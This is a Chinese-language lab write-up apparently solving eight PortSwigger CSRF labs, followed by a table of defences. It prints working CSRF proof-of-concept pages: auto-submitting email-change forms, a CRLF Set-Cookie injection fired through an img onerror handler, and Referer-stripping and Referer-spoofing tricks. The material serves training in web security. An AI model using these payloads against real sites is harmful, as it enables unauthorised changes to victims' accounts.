CSRF漏洞原理和进阶利用

CSRF漏洞原理和进阶利用

前言

最近打算重新学习下csrf和xss,这些top10漏洞原理其实深究起来也不简单,就当是巩固基础知识了。

csrf跨站请求伪造攻击,本质上是攻击者伪造请求并加以包装(可以是一个url,也可以是一个html页面),当受害者执行了攻击者伪造的请求会后携带已有的cookie到目标网站执行指定操作。

在正式学习之前,需要了解浏览器和服务端通信机制,以下几种概念是很重要的。

概念 描述 相关风险 防护措施
Cookie 浏览器存储的用户信息(如 session_id)用于保持登录状态,随请求自动发送。 攻击者可通过跨站请求利用用户的 cookie,执行未授权操作。 设置 SameSite 属性(Strict 或 Lax),防止跨站请求携带 cookie。
Session 服务器存储的关于用户的会话数据,用于标识和管理用户登录状态。 如果 session 未保护,可能被攻击者伪造请求。 使用强加密和 session token,并确保 session 生命周期短,避免长期有效。
CSRF 跨站请求伪造,攻击者诱使用户访问恶意站点,利用用户登录状态发起恶意请求。 攻击者可以伪造用户的请求,执行危险操作。 使用 CSRF token(防止恶意请求)、限制跨站请求带 cookie。
Token 随机生成的不可预测的字符串,作为请求的标识符,防止 CSRF 攻击。 如果 token 不验证,攻击者可伪造请求。 使用 CSRF token:每个请求携带不同的 token,且绑定用户 session。
Referer 浏览器请求头,指明请求来源的 URL,可以用来检测请求是否来自合法网站。 攻击者可能伪造请求头,绕过 referer 检查。 使用 SameSite cookie、严格的 CORS 策略、以及 CSRF token 来防止伪造请求。
SameSite Cookie 属性,用于限制跨站请求时是否携带 cookie。可能的值为 Strict、Lax、None。 默认情况下,跨站请求会带上用户的 cookie。 设置 SameSite=Strict 或 Lax,防止跨站点请求带 cookie。
CORS 跨源资源共享,控制不同源的请求是否被允许访问服务器资源。主要用于控制跨域请求,特别是 JavaScript 脚本发起的请求。 不受信任的站点可以发送跨站请求并操作用户数据。 设置 CORS 策略,通过服务器的 Access-Control-Allow-Origin 头,限制仅允许特定来源的请求访问敏感数据。
XSS 跨站脚本攻击,通过注入恶意 JavaScript 代码窃取用户信息或执行未经授权的操作。 通过注入脚本,攻击者可以窃取 cookie 或绕过 CSRF 防护。 使用 内容安全策略(CSP),防止恶意脚本执行,并配合 CSRF token 防止跨站伪造请求。

3个前提条件

┌─────────────────────────────────────────────┐
│ 条件1:用户已登录目标网站,会话凭证有效 │
│ → 用户在目标网站完成登录,浏览器保存 Cookie/Session 等认证信息,且未过期、未注销 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 条件2:目标网站仅依赖 Cookie 验证身份 │
│ → 服务器未添加额外校验(如 CSRF Token、Referer 检查),请求参数可被攻击者完全预测 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 条件3:用户被诱导触发恶意请求 │
│ → 用户在登录状态下,访问攻击者控制的页面/链接,触发自动发送的恶意请求 │
└─────────────────────────────────────────────┘

靶场一:无防护的CSRF漏洞

靶场地址:

https://portswigger.net/web-security/csrf/lab-no-defenses

在注册登录账户和邮箱后,在更新email一栏抓包

image-20251206172915102

观察抓到的数据包,发现唯一校验值就是cookie

image-20251206173009846

那么攻击思路很简单,只需要伪造一个请求,使得用户在自己已经登陆的浏览器上访问我的数据包即可

image-20251206173148103

利用bp的工具生成csrf的poc

屏幕截图 2025-12-06 173303

随后复制到exploit server

image-20251206173531685

保存后发送成功完成实验

image-20251206173647080

、

靶场二:取决于请求方法的CSRF令牌验证

本实验室的电子邮件更改功能容易受到 CSRF 的攻击。它试图阻止 CSRF 攻击,但只对某些类型的请求应用防御。

靶场地址:

portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method

前面步骤还是一样,先抓到请求的数据包观察一手

image-20251206175023128

发现这里存在一串csrf校验值,长度很长难以猜测,尝试修改该值看后端是否真正校验

结果发现无论删除还是修改都不行,看来是真的存在校验

image-20251206175238124

image-20251206175259895

既然POST请求会有校验,那GET请求呢?

image-20251206180820064

修改为get请求包后成功执行,随后将参数删掉发现也能成功

image-20251206180909609

说明对参数csrf的校验仅在POST提交时生效,那么同上将GET请求包生成csrf的poc即可

image-20251206181429801

image-20251206181419556

靶场三:csrf令牌验证取决于令牌是否存在

某些应用程序会在令牌存在时正确验证令牌,但如果令牌被省略则跳过验证。

在这种情况下,攻击者可以删除包含令牌的整个参数(而不仅仅是其值)以绕过验证并发起 CSRF 攻击

靶场地址:

portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present

抓取数据包,发现和上题目一样

image-20251206182630654

尝试把csrf参数删掉,发现能成功修改,说明后端在没有接受到该参数的值时不进行令牌校验的

image-20251206182601156

后续只需要把csrf删掉生成poc即可

image-20251206182830686

靶场四:csrf令牌未绑定到用户会话

某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护它已发布的全局令牌池,并接受出现在该池中的任何令牌。

在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效令牌,然后将该令牌提供给受害者用户进行 CSRF 攻击。

简而言之,cookie session和token未绑定. 可以使用自己的token修改别人的邮箱账号.

靶场地址:

portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session

首先登录A邮箱抓取数据,发现无论是更改请求方法还是对csrf进行删改啥的都不行

image-20251206190000063

也就是说对于令牌的鉴权一定是存在,但是接下来可以测试令牌有没有和session绑定,也A用户的令牌方B用户上能不能用

这是A用户第一次修改邮箱的包

image-20251206190257942

这是第二次

image-20251206190358732

这里发现session是固定的,但是令牌是随机动态生成的,也就是说session和csrf不是绑定的,那么就可以用自己的token伪造csrf请求

抓A的包

image-20251206200357122

抓B的包

image-20251206200420207

用A的token替换B的token,成功修改

image-20251206200506391

后面生成poc并提交即可

image-20251206201409847

这个把靶场四的区别就是靶场四的cookie未和csrf令牌绑定,靶场五的cookie和csrf令牌绑定了,但是绑定的是非会话cookie(csrfkey),而不是验证身份的session,所以攻击者需同时注入自己的 csrfKey 和对应的 csrf 令牌,使受害者请求中两者匹配。

靶场地址:

portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie

登录抓包后发现像靶场四那样拿自己的csrf替换已经无法实现攻击了

image-20251207131501263

也就是说csrf令牌已经和cookie绑定了。如果和验证身份的session绑定的话那么无法实现csrf,接下来试试同时替换csrfkey和csrf

A的数据包

image-20251207132008931

B的数据包

image-20251207132036476

同时替换csrfkey和csrf,发现成功攻击

image-20251207132226456

接下来就是如何构造poc,同步注入非会话cookie和令牌

很显然像直接用bp设计csrf poc不可行因为cookie是存储在浏览器上的而不是请求体中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5800fc046b0c2c80ab444a004a00e1.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="2&#64;qq&#46;com" />
<input type="hidden" name="csrf" value="H0Va9mrYhxuw3Tceeyy3xilxZYy2eIb4" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

通过在首页搜索发现,搜索东西时会带有csrfkey,那么可以通过url的set-cookie来注入

image-20251207133416582

可以使用playload替换成自己的csrfkey

image-20251207133534279

接下来在替换csrf令牌后生成poc

image-20251207135349614

然后设置图片链接到搜索页面替换成我们的csrfkey,一旦对方打开网址,就会自动加载”这个图片”,简而言之相当于去访问了这个精心设计好的网址,而因为这并非一个图片,必然会报错,后面onerror就是报错后的动作,即提交表单.

1
<img src="https://xxx.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrfKey=GwWIachNBZVlLaGvsiEv4Fs9rPXe6IBN%3b%20SameSite=None" onerror="document.forms[0].submit()">

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5800fc046b0c2c80ab444a004a00e1.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="2&#64;qq&#46;com" />
<input type="hidden" name="csrf" value="Kjwwavy5I3E8dg341NCATTwKEEcFO7cp" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a5800fc046b0c2c80ab444a004a00e1.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrfKey=XqwhohGNDsk0iDLnK0I73zFm9Qd37iPR%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>

靶场六:CSRF 令牌只是从cookie 中复制一次

应用设计的 “双重提交” 防御本应是:服务器生成随机 CSRF 令牌,同时存入用户会话(服务器端)和客户端 Cookie,后续请求需同时携带 “会话绑定的令牌”(请求参数)和 “Cookie 令牌”,服务器校验两者是否匹配且与会话关联。

但靶场六的实现偷工减料:跳过服务器端会话绑定和令牌有效性校验,仅要求 “请求参数中的 csrf 值” 与 “Cookie 中的 csrf 值” 完全相同,哪怕这个值是攻击者自定义的,只要两者一致,服务器就认为请求合法。

靶场地址:

portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie

抓取数据包,发现cookie中存在一个和请求体中一样的csrf令牌,也就是说令牌和cookie要对齐

image-20251207141721139

随后同时修改csrf和cookie中的令牌,发现后端不能存在令牌池,也不会对其进行身份验证,只要二者对齐就能通过校验

image-20251207141853612

那么攻击思路就有了,攻击者甚至不需要获取自己的有效令牌,可以随意构造csrf,同时设置cookie的csrf使得二者对齐即可

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a8f0024033cd37280b94465009400d0.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="1&#64;qq&#46;com" />
<input type="hidden" name="csrf" value="1" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a8f0024033cd37280b94465009400d0.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrfKey=123%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>

靶场七:基于 Referer 的 CSRF 防御(Referer 验证取决于标头是否存在)

靶场七的核心漏洞是 CSRF 防御仅在Referer标头存在时生效,若标头缺失则直接跳过校验—— 本质是防御机制存在 “不安全回退”,攻击者可通过隐藏Referer标头,让跨域 CSRF 请求绕过校验。

靶场地址:

portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present

Referer 标头的作用

Referer是浏览器自动携带的请求头,记录 “当前请求的来源页面 URL”(比如从 A 页面跳转到 B 页面,B 页面的请求会携带Referer: A页面URL)。靶场的防御逻辑:仅允许Referer为靶场自身域名的请求(同域请求),拒绝跨域Referer(如漏洞利用服务器域名)的请求。

首先抓取数据包,按照前面的直接生成poc的做法是不行的,我们可以验证一下

把referer随便改发现不对,说明后端有验证的

image-20251207153626858

随后把referer那三行删掉发现可以修改

image-20251207153759739

说明 CSRF 防御仅在Referer标头存在时生效,若标头缺失则直接跳过校验

后面构造poc时,我们需要浏览器自动删除,所以payload如下所示:(在head中加入无referer的选项)

1
<meta name="referrer" content="no-referrer">

最终的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0abc002503815c9080aa17b900d40061.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="5&#64;qq&#46;com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

靶场八:可绕过的 Referer 验证(验证逻辑缺陷)

服务器对 Referer 的验证逻辑存在严重缺陷 ——只要 Referer 字符串中包含目标域名片段(如web-security-academy.net),就认为是合法请求,而非严格验证完整的同源域名。

靶场地址:

https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-broken

发现这次删除和修改都无法成功

image-20251207155345563

然后测试,不检查完整域名匹配,仅检查字符串是否包含目标域名片段

image-20251207155722011

可以构造以下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta name="referrer" content="unsafe-url">
</head>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a32005704cca37a806103d700e500a8.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="3191593&#64;qq&#46;com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/?0a32005704cca37a806103d700e500a8.web-security-academy.net');
document.forms[0].submit();
</script>
</body>
</html>

两大核心代码的原理与作用

1. history.pushState('', '', '/?靶场完整域名')

  • 底层原理:浏览器History API的前端本地操作,可在「不刷新页面、不跨域」的前提下,修改地址栏 URL 的查询参数(?后内容)。
  • 核心作用:给 Referer 注入 “靶场域名片段”—— 修改后地址栏 URL 包含靶场完整域名(如https://漏洞服务器/?0a32005704cca37a806103d700e500a8.web-security-academy.net),而浏览器默认将「地址栏 URL」作为 Referer 值,从而让 Referer 满足靶场 “含自身域名即合法” 的校验条件。
  • 关键价值:不触发页面刷新、不暴露攻击痕迹,确保用户无感知,同时精准匹配靶场校验规则。

2. <meta name="referrer" content="unsafe-url">

  • 底层原理:HTML 原生标签,用于控制浏览器发送请求时Referer标头的 “发送规则”,content="unsafe-url"表示强制发送「完整 URL(协议 + 域名 + 路径 + 查询参数)」,即使是跨域请求也不截断任何部分。
  • 核心作用:保障注入的靶场域名不丢失 —— 浏览器默认跨域请求会截断 Referer 的查询参数(仅保留 “协议 + 域名”),该标签强制完整发送 URL,确保history.pushState注入的靶场域名能被靶场检测到。
  • 关键价值:解决 “浏览器默认截断查询参数” 的问题,是history.pushState生效的前提(无此标签,注入的靶场域名会被浏览器删除,校验失败)。

防护手段

防护方法 适用场景 核心价值
CSRF Token 所有有状态服务 通用核心防护
SameSite Cookie 所有场景 基础兜底,无开发成本
双重 Cookie 验证 无状态服务 / 同源场景 无需 Session,适配 JWT 架构
自定义请求头验证 跨域 / 前后端分离 拦截跨域伪造请求
JWT 无状态防护 微服务 / 分布式系统 无状态,适配分布式架构
Referer/Origin 验证 所有场景(补充) 辅助拦截非法来源
二次验证(验证码) 转账 / 改密码等高敏感操作 兜底防护,最彻底
频率限制 / IP 绑定 批量 CSRF 攻击防护 增加攻击成本,拦截异常请求